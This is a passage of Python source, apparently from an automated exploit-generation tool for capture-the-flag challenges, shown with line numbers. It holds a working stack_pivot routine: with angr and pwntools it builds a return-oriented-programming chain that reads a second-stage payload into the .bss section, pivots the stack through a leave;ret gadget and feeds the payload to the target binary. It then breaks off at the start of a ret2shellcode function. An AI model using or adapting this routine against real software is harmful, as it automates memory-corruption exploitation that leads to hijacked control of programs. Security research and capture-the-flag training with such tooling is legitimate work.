(state_raw: angr.SimState, challenge: Challenge, new_mem: list)
| 64 | |
| 65 | |
| 66 | def stack_pivot(state_raw: angr.SimState, challenge: Challenge, new_mem: list): |
| 67 | state = state_raw.copy() |
| 68 | binary = state_raw.globals['binary'] |
| 69 | rop_chain = ROP([challenge.target_binary]) |
| 70 | stack_addr = challenge.target_binary.bss() + 0x430 |
| 71 | arch_bytes = challenge.target_property['arch_bytes'] |
| 72 | rop_chain.raw(stack_addr - arch_bytes) |
| 73 | try: |
| 74 | if challenge.target_binary.functions.get('gets'): |
| 75 | rop_chain.call('gets', [stack_addr]) |
| 76 | elif challenge.target_binary.functions.get('fgets'): |
| 77 | rop_chain.call('fgets', [stack_addr, 0x630, 0]) |
| 78 | elif challenge.target_binary.functions.get('read'): |
| 79 | rop_chain.call('read', [0, stack_addr, 0x630]) |
| 80 | else: |
| 81 | return False |
| 82 | leave_ret_addr = rop_chain.find_gadget(['leave', 'ret']).address |
| 83 | rop_chain.raw(leave_ret_addr) |
| 84 | except PwnlibException: |
| 85 | return False |
| 86 | payload = rop_chain.chain() |
| 87 | constraints = [state.memory.load(new_mem[0] - arch_bytes, size=len(payload)) == payload] |
| 88 | if state.solver.satisfiable(extra_constraints=constraints): |
| 89 | for constraint in constraints: |
| 90 | state.add_constraints(constraint) |
| 91 | binary.warped_io_strip_zero(state, dump_payload(state, True)) |
| 92 | if not binary.check_alive(): |
| 93 | log.warning("Failed stack pivot") |
| 94 | binary.close() |
| 95 | else: |
| 96 | return True |
| 97 | |
| 98 | |
| 99 | def ret2shellcode(state_raw: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary): |
no test coverage detected